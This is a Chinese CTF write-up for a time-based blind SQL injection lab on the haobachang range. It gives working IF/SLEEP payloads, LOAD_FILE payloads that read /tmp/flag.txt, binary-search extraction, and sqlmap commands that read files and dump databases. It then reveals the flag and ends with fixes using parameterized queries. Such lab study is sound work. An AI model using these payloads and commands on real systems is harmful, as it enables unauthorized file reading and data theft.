【好靶场】SQL注入-时间盲注:使用手工Payload与SQLMap读取Flag
- 【好靶场】SQL注入-时间盲注:使用手工Payload与SQLMap读取Flag
-
- 一、题目信息
- 二、时间盲注原理
- [三、手工判断 SQL 注入](#三、手工判断 SQL 注入)
-
- [1. 正常请求](#1. 正常请求)
- [2. 测试无条件延迟](#2. 测试无条件延迟)
- [3. 测试真条件](#3. 测试真条件)
- [4. 测试假条件](#4. 测试假条件)
- 四、推测后端查询结构
- [五、手工读取 `/tmp/flag.txt`](#五、手工读取
/tmp/flag.txt) -
- [1. 判断文件是否有内容](#1. 判断文件是否有内容)
- [2. 判断文件长度](#2. 判断文件长度)
- [3. 判断某个字符](#3. 判断某个字符)
- 六、二分法读取字符
- [七、使用 SQLMap 自动检测](#七、使用 SQLMap 自动检测)
-
- [1. 基础检测命令](#1. 基础检测命令)
- [八、使用 SQLMap 读取 Flag 文件](#八、使用 SQLMap 读取 Flag 文件)
- [九、如果 Flag 位于数据库字段中](#九、如果 Flag 位于数据库字段中)
-
- [1. 枚举数据库](#1. 枚举数据库)
- [2. 枚举指定数据库的表](#2. 枚举指定数据库的表)
- [3. 枚举指定表的字段](#3. 枚举指定表的字段)
- [4. 导出 Flag 字段](#4. 导出 Flag 字段)
- [十、SQLMap 缓存问题](#十、SQLMap 缓存问题)
- 十一、题目结果
- 十二、漏洞修复
-
- [1. 不要拼接 SQL](#1. 不要拼接 SQL)
- [2. 使用参数化查询](#2. 使用参数化查询)
- [3. 限制数据库文件权限](#3. 限制数据库文件权限)
- [4. 其他防护措施](#4. 其他防护措施)
- 十三、总结
【好靶场】SQL注入-时间盲注:使用手工Payload与SQLMap读取Flag
合规声明 :本文仅记录授权 CTF / Web 安全教学靶场中的测试过程。文中请求范围仅限题目指定的
hbc2.haobachang.com:12800,不得将相关 Payload、命令或方法用于其他未授权目标。
一、题目信息
- 题目类型: SQL 注入------时间盲注
- 靶场地址:
http://hbc2.haobachang.com:12800 - 测试接口:
GET /check?id=用户输入 - 测试参数:
id
页面通过以下方式发起请求:
javascript
fetch(`/check?id=${encodeURIComponent(userId)}`)
因此实际测试 URL 为:
text
http://hbc2.haobachang.com:12800/check?id=1
接口即使查询条件不同,通常也会返回相同格式的 JSON,无法直接通过响应正文判断查询结果,所以需要观察响应时间。
二、时间盲注原理
时间盲注不会直接把查询结果显示给攻击者,而是利用条件语句控制数据库延迟函数:
sql
IF(条件为真, SLEEP(延迟秒数), 0)
执行效果如下:
text
条件为真 -> 执行 SLEEP(),HTTP 响应明显变慢
条件为假 -> 不执行延迟,HTTP 响应快速返回
常见数据库延迟函数:
| 数据库 | 常见延迟函数 |
|---|---|
| MySQL / MariaDB | SLEEP(秒数) |
| PostgreSQL | pg_sleep(秒数) |
| SQL Server | WAITFOR DELAY '00:00:02' |
| Oracle | DBMS_LOCK.SLEEP(2) |
本题使用的是 MySQL / MariaDB 语法。
三、手工判断 SQL 注入
1. 正常请求
text
/check?id=1
正常情况下接口很快返回,例如:
json
{"message":"查询完成","status":"success"}
2. 测试无条件延迟
text
/check?id=1 AND SLEEP(2)
如果响应时间增加约两秒,说明输入内容被拼接进了 SQL,并且数据库执行了 SLEEP(2)。
3. 测试真条件
text
/check?id=1 AND IF(1=1,SLEEP(2),0)
由于 1=1 为真,请求会产生明显延迟。
4. 测试假条件
text
/check?id=1 AND IF(1=0,SLEEP(2),0)
由于 1=0 为假,请求不会延迟,响应时间恢复正常。
因此可以确认基本注入结构为:
sql
1 AND IF((条件),SLEEP(1),0)
本题 id 参数处于数字型 SQL 上下文中,不需要使用单引号闭合。
四、推测后端查询结构
后端可能存在类似代码:
python
user_id = request.args.get("id")
sql = "SELECT * FROM users WHERE id = " + user_id
cursor.execute(sql)
当传入:
text
1 AND IF(1=1,SLEEP(2),0)
SQL 可能变成:
sql
SELECT * FROM users
WHERE id = 1 AND IF(1=1,SLEEP(2),0)
如果用户输入直接进入 SQL 语句,而不是通过参数化查询传递,就可以利用 AND 增加任意条件,并使用时间差异推断数据。
五、手工读取 /tmp/flag.txt
1. 判断文件是否有内容
text
/check?id=1 AND IF(LENGTH(LOAD_FILE('/tmp/flag.txt'))>0,SLEEP(1),0)
如果响应变慢,则说明:
sql
LENGTH(LOAD_FILE('/tmp/flag.txt')) > 0
成立,即文件存在可读取内容。
2. 判断文件长度
例如判断文件长度是否为 17:
text
/check?id=1 AND IF(LENGTH(LOAD_FILE('/tmp/flag.txt'))=17,SLEEP(1),0)
也可以使用大于、小于条件配合二分法寻找长度:
sql
LENGTH(LOAD_FILE('/tmp/flag.txt')) > n
3. 判断某个字符
读取第一个字符,并判断其 ASCII 码是否大于 79:
text
/check?id=1 AND IF(ASCII(SUBSTRING(LOAD_FILE('/tmp/flag.txt'),1,1))>79,SLEEP(1),0)
其中:
sql
SUBSTRING(LOAD_FILE('/tmp/flag.txt'),1,1)
表示读取文件内容的第一个字符。
sql
ASCII(...)
表示将该字符转换为 ASCII 数值。
六、二分法读取字符
假设当前读取第 pos 个字符,使用以下表达式:
sql
ASCII(SUBSTRING(LOAD_FILE('/tmp/flag.txt'),pos,1))
构造判断:
sql
ASCII(SUBSTRING(LOAD_FILE('/tmp/flag.txt'),pos,1)) > mid
再嵌入时间盲注:
sql
1 AND IF(
ASCII(SUBSTRING(LOAD_FILE('/tmp/flag.txt'),pos,1)) > mid,
SLEEP(1),
0
)
将可打印字符的 ASCII 范围设置为 32~126:
text
low = 32
high = 126
mid = (low + high) // 2
根据响应结果更新范围:
text
响应变慢:ASCII 值大于 mid,令 low = mid + 1
响应正常:ASCII 值小于等于 mid,令 high = mid
直到 low == high,即可得到当前字符:
python
character = chr(low)
对 pos=1、2、3... 逐个执行即可恢复完整 flag。相比从字符集中逐一尝试,二分法可以减少请求次数。
七、使用 SQLMap 自动检测
1. 基础检测命令
bash
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
-p id \
--batch \
--flush-session \
--level=1 \
--risk=1 \
--technique=T \
--time-sec=1 \
--threads=1 \
--timeout=10 \
--retries=1
参数说明:
| 参数 | 作用 |
|---|---|
-u |
指定本题授权 URL |
-p id |
只测试 id 参数 |
--batch |
自动选择默认选项 |
--flush-session |
清除旧的 SQLMap session |
--level=1 |
使用基础测试级别 |
--risk=1 |
使用低风险测试 |
--technique=T |
只使用时间盲注 |
--time-sec=1 |
设置时间盲注延迟参考值 |
--threads=1 |
限制并发,降低误判概率 |
--timeout=10 |
HTTP 请求超时时间 |
--retries=1 |
请求失败时重试一次 |
识别成功后,SQLMap 通常会显示类似结果:
text
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
back-end DBMS: MySQL / MariaDB
八、使用 SQLMap 读取 Flag 文件
本题优先尝试直接读取目标文件:
bash
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
-p id \
--dbms=MySQL \
--technique=T \
--time-sec=1 \
--threads=1 \
--level=1 \
--risk=1 \
--timeout=10 \
--retries=1 \
--batch \
--flush-session \
--file-read=/tmp/flag.txt
关键参数为:
text
--file-read=/tmp/flag.txt
SQLMap 会尝试利用 MySQL 的文件读取能力获取目标文件,并保存到本地 SQLMap 输出目录。
SQLMap 常见输出目录结构如下:
text
~/.local/share/sqlmap/output/hbc2.haobachang.com/files/
可以查看下载的文件:
bash
cat ~/.local/share/sqlmap/output/hbc2.haobachang.com/files/_tmp_flag.txt
如果输出的是十六进制字符串,可以使用:
bash
echo "十六进制内容" | xxd -r -p
注意:时间盲注请求较慢,建议保留:
text
--threads=1
不要对授权靶场进行高并发请求,以免网络抖动导致 SQLMap 误判或服务端连接重置。
九、如果 Flag 位于数据库字段中
如果文件读取方式不可用,也可以使用 SQLMap 枚举数据库。
1. 枚举数据库
bash
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
-p id \
--dbms=MySQL \
--technique=T \
--dbs \
--batch \
--flush-session \
--threads=1 \
--timeout=10 \
--retries=1
2. 枚举指定数据库的表
bash
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
-p id \
--dbms=MySQL \
--technique=T \
-D 数据库名 \
--tables \
--batch \
--threads=1 \
--timeout=10 \
--retries=1
3. 枚举指定表的字段
bash
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
-p id \
--dbms=MySQL \
--technique=T \
-D 数据库名 \
-T 表名 \
--columns \
--batch \
--threads=1 \
--timeout=10 \
--retries=1
4. 导出 Flag 字段
bash
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
-p id \
--dbms=MySQL \
--technique=T \
-D 数据库名 \
-T 表名 \
-C flag \
--dump \
--batch \
--threads=1 \
--timeout=10 \
--retries=1
如果已知目标表达式,也可以在手工 Payload 中使用:
sql
(SELECT flag FROM flag LIMIT 1)
例如判断长度:
text
1 AND IF(LENGTH((SELECT flag FROM flag LIMIT 1))>10,SLEEP(1),0)
十、SQLMap 缓存问题
SQLMap 通常会以主机名作为输出目录的一部分。如果同一域名的不同端口之前测试过其他题目,可能出现历史 session 干扰。
首次检测建议使用:
bash
--flush-session
需要重新获取数据时可以加:
bash
--fresh-queries
也可以指定独立输出目录:
bash
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
-p id \
--dbms=MySQL \
--technique=T \
--batch \
--flush-session \
--output-dir="/tmp/sqlmap-hbc2-12800"
不要直接复用其他端口的 session 结果,应以当前 12800 端口重新检测到的注入点和数据为准。
十一、题目结果
通过时间盲注读取 /tmp/flag.txt 后,内容末尾带有换行符。去掉换行后得到:
text
flag{9bedfcd439}
十二、漏洞修复
1. 不要拼接 SQL
存在漏洞的写法:
python
user_id = request.args.get("id")
sql = "SELECT * FROM users WHERE id = " + user_id
cursor.execute(sql)
2. 使用参数化查询
推荐写法:
python
raw_id = request.args.get("id", "")
try:
user_id = int(raw_id)
except ValueError:
return {"error": "invalid id"}, 400
cursor.execute(
"SELECT * FROM users WHERE id = %s LIMIT 1",
(user_id,)
)
参数化查询会让数据库驱动把用户输入当作数据,而不是 SQL 语句的一部分。
3. 限制数据库文件权限
本题中还涉及:
sql
LOAD_FILE('/tmp/flag.txt')
生产环境中应:
- 禁止业务数据库账户使用不必要的
FILE权限; - 限制数据库进程读取敏感文件;
- 使用最小权限账户;
- 不将敏感信息放在数据库进程可读取的目录中。
4. 其他防护措施
- 对
id参数进行严格整数校验; - 设置查询和请求超时;
- 对异常延迟请求进行监控;
- 增加接口访问频率限制;
- 避免返回详细 SQL 错误;
- 不要依赖单纯的关键字黑名单过滤 SQL 注入。
十三、总结
本题解题流程:
text
访问 /check?id=1
↓
使用 IF(条件,SLEEP(1),0) 验证时间盲注
↓
判断后端为 MySQL / MariaDB
↓
使用 LOAD_FILE('/tmp/flag.txt') 作为目标表达式
↓
二分判断文件长度
↓
逐字符二分判断 ASCII 值
↓
恢复完整 Flag
核心 Payload:
sql
1 AND IF((条件),SLEEP(1),0)
核心 SQLMap 命令:
bash
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
-p id \
--dbms=MySQL \
--technique=T \
--time-sec=1 \
--threads=1 \
--batch \
--flush-session \
--file-read=/tmp/flag.txt
最终 Flag:
text
flag{9bedfcd439}